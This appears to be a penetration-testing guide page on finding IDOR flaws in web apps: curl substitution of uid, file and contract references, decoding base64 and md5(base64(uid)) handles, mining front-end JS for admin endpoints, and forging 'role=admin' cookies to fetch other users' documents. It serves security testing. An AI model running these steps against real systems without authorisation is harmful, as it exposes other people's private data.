Identifying
Find the reference first, test access second. Four discovery surfaces in priority order:
# 1. URL parameters and path segments?uid=1 ?file_id=123 ?contract=cdd9... /users/74 /files/Report.pdf
# 2. JSON body fields in API calls{"uid": 74, "uuid": "40f5...", "role": "employee"}
# 3. AJAX call definitions in front-end JS (admin-only endpoints exposed in client code)grep -rE 'ajax\(|fetch\(' static/js/
# 4. Headers and cookies carrying identityCookie: uid=1; role=employee X-User-Id: 1 Authorization: Bearer <token>
# Then for each reference: substitute, observecurl -b 'PHPSESSID=mine' http://target/api/profile/2 # someone else'sSuccess indicator: you’ve cataloged every direct reference the app uses, identified which substitutions actually return foreign data, and know whether the references are sequential / hashed / encoded.
The four discovery surfaces
Section titled “The four discovery surfaces”Surface 1 - URL parameters and path segments
Section titled “Surface 1 - URL parameters and path segments”The textbook IDOR location. Browse the app as your test user, watch the URL bar and Burp HTTP history for any parameter or path component that maps to a resource you own.
Patterns that almost always identify a direct reference:
?uid=1 # user identifier?id=123 # generic record ID?file_id=123 # file lookup?filename=Report.pdf # filename as direct handle?invoice_id=2021-001 # composite key?account_id=abc # opaque-looking but still a handle/users/74 # REST path/files/Report.pdf # filename in path/documents/Invoice_1_09_2021.pdf # filename embeds owner's uid + dateSequential numeric handles are the easiest case; you increment and watch. Filename-embedded handles like Invoice_1_09_2021.pdf are the second easiest - the 1 is the owner’s user ID, and 09_2021 is a date, so the file naming convention itself leaks the predictable pattern.
When you find a candidate, the test is just substitution:
# Baseline - your own resource$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=1' | wc -c4823
# Substitute someone else's reference$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=2' | wc -c3719
# Different size → different content → IDOR (probably)Always check page size or hash the body, not just the rendered output - apps sometimes show the same UI shell but with different data inside. If wc -c differs, you got something different back even when the page looks similar.
Surface 2 - JSON body fields
Section titled “Surface 2 - JSON body fields”For API endpoints, the reference is often inside the request body. Intercept the request:
PUT /profile/api.php/profile/1 HTTP/1.1Cookie: PHPSESSID=...; role=employeeContent-Type: application/json
{ "uid": 1, "uuid": "40f5888b67c748df7efba008e7c2f9d2", "role": "employee", "full_name": "Amy Lindon", "about": "..."}Note the multiple direct references in this one request:
uidin the bodyuidin the URL path (/profile/1)uuidin the body - opaque-looking handle, often the secondary key the back-end uses for authorizationrole- privilege handle the back-end might trust from the body
Each is a separate candidate for substitution. The naive bypass tries each in isolation:
PUT /profile/api.php/profile/2 HTTP/1.1{"uid": 2, "uuid": "...", "role": "employee", ...}Many apps catch the mismatch ("uid mismatch", "uuid mismatch") - the lesson is these are partial defenses. A real engagement chains the disclosure surface (GET to retrieve someone else’s uuid) with the modification surface (PUT now-armed with the matching uuid). See Insecure APIs.
Surface 3 - AJAX calls in front-end JS
Section titled “Surface 3 - AJAX calls in front-end JS”The interesting surface that black-box scanners miss. Many modern apps ship the entire function catalog in the JS bundle and gate each call by role on the client:
function changeUserPassword() { $.ajax({ url: "change_password.php", type: "post", dataType: "json", data: {uid: user.uid, password: user.password, is_admin: is_admin}, success: function(result){ // } });}
function deleteUser(targetUid) { if (!is_admin) return; $.ajax({ url: "/api/users/" + targetUid, type: "DELETE", });}When you log in as a regular user, is_admin is false and deleteUser is never invoked from the UI. But the function exists in the JS - and the server-side endpoint /api/users/<id> exists too, because the JS calls it when an admin is logged in. The question: does the back-end check the caller’s role, or just trust that the UI gates the call?
To find these, scan the JS for ajax(, fetch(, and axios(:
# Save the page's resources$ wget -r -np -k -p http://target/
# Find AJAX calls$ grep -rnE "ajax\(|fetch\(|axios\." target/
# Or use Burp's "Find references" against the JS file in HTTP historyFor minified bundles, use js-beautify or open in Chrome DevTools (Sources → right-click → “Format”). Most beautified bundles reveal function names that hint at the operation (changePassword, deleteUser, setRole, getAdminStats).
Each AJAX call definition is a candidate endpoint to probe directly with curl or Burp. Send the request as a non-admin user with admin-shaped parameters - if it succeeds, that’s IDOR.
Surface 4 - Headers, cookies, identity tokens
Section titled “Surface 4 - Headers, cookies, identity tokens”The reference doesn’t always live in the URL or body. Sometimes the app trusts a header:
GET /api/profile HTTP/1.1Cookie: uid=1; role=employeeX-User-Id: 1Either or both of those identity carriers might be authoritative. Change them:
GET /api/profile HTTP/1.1Cookie: uid=2; role=employeeX-User-Id: 2The classic mistake: the server reads identity from a header the client sets. The header should come from the server-side session, never from a request the client constructs. When you see identity carried in a header, that’s the test - substitute and observe.
For bearer tokens (Authorization: Bearer eyJ...), the token may encode identity in its claims (JWT) or be opaque (random opaque session). For JWT, see JWT attacks; for opaque tokens, the question is whether a different user’s token works in your request - which it doesn’t unless you’ve harvested it (see Obtaining tokens).
Hashing and encoding inspection
Section titled “Hashing and encoding inspection”When the reference looks opaque, don’t assume it’s secure. Apps frequently apply weak transformations that an operator can reverse.
Quick encoding checks
Section titled “Quick encoding checks”# Suspect: ?filename=ZmlsZV8xMjMucGRm$ echo 'ZmlsZV8xMjMucGRm' | base64 -dfile_123.pdf # base64 - now obviously enumerable
# Suspect: ?contract=cdd96d3cc73d1dbdaffa03cc6cd7339b$ echo -n 1 | md5sumc4ca4238a0b923820dcc509a6f75849b -$ echo -n 1 | base64 | md5sumcdd96d3cc73d1dbdaffa03cc6cd7339b - # match! it's md5(base64(uid))
# Or use hash-identifier for unknown algorithms$ hash-identifier 'cdd96d3cc73d1dbdaffa03cc6cd7339b'# (likely MD5)The pattern to test, in order:
| Try | Why |
|---|---|
| Base64 decode | Most common encoding |
| URL decode | Sometimes the reference is just URL-encoded |
| Hex decode | Less common |
echo -n <value> | md5sum | The reference might be md5(uid) directly |
echo -n <value> | sha1sum | Less common but exists |
echo -n <value> | base64 | md5sum | Combination |
echo -n <username> | md5sum | Sometimes the username, not uid |
echo -n <value>:<salt> | md5sum | If you can guess the salt (often the app name, domain, or secret) |
The hash function variants get tried in increasing order of complexity. Most apps that hash references at all do something naive - the first three or four attempts usually find it.
Finding the algorithm in the front-end
Section titled “Finding the algorithm in the front-end”When the hash isn’t an obvious format, the cleanest discovery method is reading the JS that calls the endpoint:
function downloadContract(uid) { $.redirect("/download.php", { contract: CryptoJS.MD5(btoa(uid)).toString(), }, "POST", "_self");}This tells you: the contract field is md5(base64(uid)). Generate that for any uid:
$ echo -n 1 | base64 -w 0 | md5sumcdd96d3cc73d1dbdaffa03cc6cd7339b -
$ echo -n 2 | base64 -w 0 | md5sum0b7e7dee87b1c3b98e72131173dfbbbf -Confirm by matching your test account’s expected hash. Once it matches, the references are “secure-looking” but mass-enumerable. See Mass enumeration.
The -n and -w 0 flags matter - they strip trailing newlines from echo and base64 respectively. A hash of 1\n is different from a hash of 1, and apps almost always hash without the newline.
When the source isn’t available
Section titled “When the source isn’t available”Without front-end source, you can still brute-force the formula:
- Register two test accounts; capture each one’s reference value
- Try hashing each candidate (uid, username, email, account_creation_timestamp, …) with common algorithms (md5, sha1, sha256) and combinations
- When a candidate-algorithm pair produces both observed references, you’ve found it
Burp Comparer can help - paste your observed reference, then iterate test hashes and compare. If you build a small wordlist of (algorithm, input-source) pairs, it’s a quick scripted exercise.
When nothing matches, the references probably involve a server-side secret (HMAC) or non-deterministic input (random UUID stored in DB). Those are genuinely secure direct references - the bypass story has to come from the access-control layer instead, not from predicting the reference.
Comparing user roles across accounts
Section titled “Comparing user roles across accounts”For advanced IDOR work, register two accounts with different roles and diff their requests. This reveals:
- Endpoints only one role calls (admin-only function discoveries)
- Parameters one role includes that the other doesn’t (role/permission claims in JSON body)
- Headers that differ between roles (a
Cookie: role=adminvsCookie: role=useris a giant red flag) - API endpoints the admin role accesses with paths you can then try as the lower-privilege role
The workflow:
Account A (employee role) Account B (admin role) │ │ │ Browse exhaustively │ Browse exhaustively │ (Burp scope on the host) │ (Burp scope on the host) ▼ ▼ Site map A Site map B │ │ └─────────── diff ─────────────┘ │ ▼ Endpoints in B but not A Parameters in B but not A Headers/cookies that differ │ ▼ Try each B-only endpoint while authenticated as A; observeBurp Comparer (Tools → Compare site maps) is the canonical implementation. For each B-only endpoint, send the request through Burp Repeater with A’s cookies. If the server-side access-control is missing, A receives admin-level responses.
A specific case worth testing: the back-end may key authorization off role=employee in the request cookie rather than the session. Set Cookie: role=admin manually and re-issue the request. Apps that read role from the client-side cookie (depressingly common) accept the bypass instantly.
A worked identification walkthrough
Section titled “A worked identification walkthrough”Suppose you find documents.php?uid=1 in an Employee Manager app:
# Step 1: confirm the reference matters$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=1' | grep -c '<li class'2 # 2 document entries for me
# Step 2: substitute$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=2' | grep -c '<li class'3 # 3 entries - different data, different user
# Step 3: extract the references$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=2' | grep -oP '/documents\S+\.pdf'/documents/Invoice_2_08_2020.pdf/documents/Report_2_12_2020.pdf/documents/Notes_2.pdf
# Step 4: fetch a foreign document$ curl -sb 'PHPSESSID=mine' 'http://target/documents/Invoice_2_08_2020.pdf' -o /tmp/foreign.pdf$ file /tmp/foreign.pdf/tmp/foreign.pdf: PDF document, version 1.4Three substitutions, three confirmations:
- The
uidparameter is honored without auth check (returns user 2’s document list) - The document filenames embed the owner’s
uid(predictable enumeration vector) - Document downloads themselves don’t check ownership either (parallel IDOR in the static-file path)
Each is its own finding; mass enumeration is just looping over uid and downloading each result. See Mass enumeration.
Quick reference
Section titled “Quick reference”| Task | Pattern |
|---|---|
| Spot URL-parameter reference | ?uid=, ?id=, ?file_id=, ?filename=, ?contract=, anything ending in _id or _uid |
| Spot REST path reference | Segments that look like numeric or UUID-shaped: /users/74, /files/abc-123 |
| Spot JSON body reference | Object keys: uid, uuid, user_id, account_id, role |
| Spot header reference | X-User-Id, Cookie: uid=, anything client-set that names a user/resource |
| Find AJAX-defined endpoints in JS | grep -rnE 'ajax\(|fetch\(|axios\.' static/ |
| Beautify minified JS | js-beautify file.min.js or DevTools Sources → “Format” |
| Test substitution | Change the reference value, compare response size |
| Reverse base64 | echo '<value>' | base64 -d |
| Test md5(uid) | echo -n <uid> | md5sum |
| Test md5(base64(uid)) | echo -n <uid> | base64 -w 0 | md5sum |
| Test sha1(uid) | echo -n <uid> | sha1sum |
| Identify hash format | hash-identifier '<hash>' |
| Strip newlines | echo -n and base64 -w 0 |
| Compare two accounts’ site maps | Burp → Tools → Compare site maps |
| Role-cookie probe | Manually set Cookie: role=admin and replay |
| Quick foreign-resource fetch | curl -b 'session=mine' 'http://target/api/profile/2' |
For mass-extraction techniques after identification, continue to Mass enumeration. For the API-mutation patterns (PUT/POST/DELETE on user objects), see Insecure APIs.